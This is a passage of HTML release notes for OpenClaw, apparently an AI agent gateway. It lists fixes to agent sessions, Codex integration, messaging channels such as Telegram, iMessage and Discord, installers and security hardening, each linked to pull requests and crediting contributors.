href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Agents/sessions: handle active-fallback failures in <code>sessions_send</code> so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519588215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86638/hovercard" href="https://github.com/openclaw/openclaw/pull/86638">#86638</a>)</p>
</li>
<li>
<p>Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512136564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86101" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86101/hovercard" href="https://github.com/openclaw/openclaw/pull/86101">#86101</a>)</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190592974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59299/hovercard" href="https://github.com/openclaw/openclaw/issues/59299">#59299</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
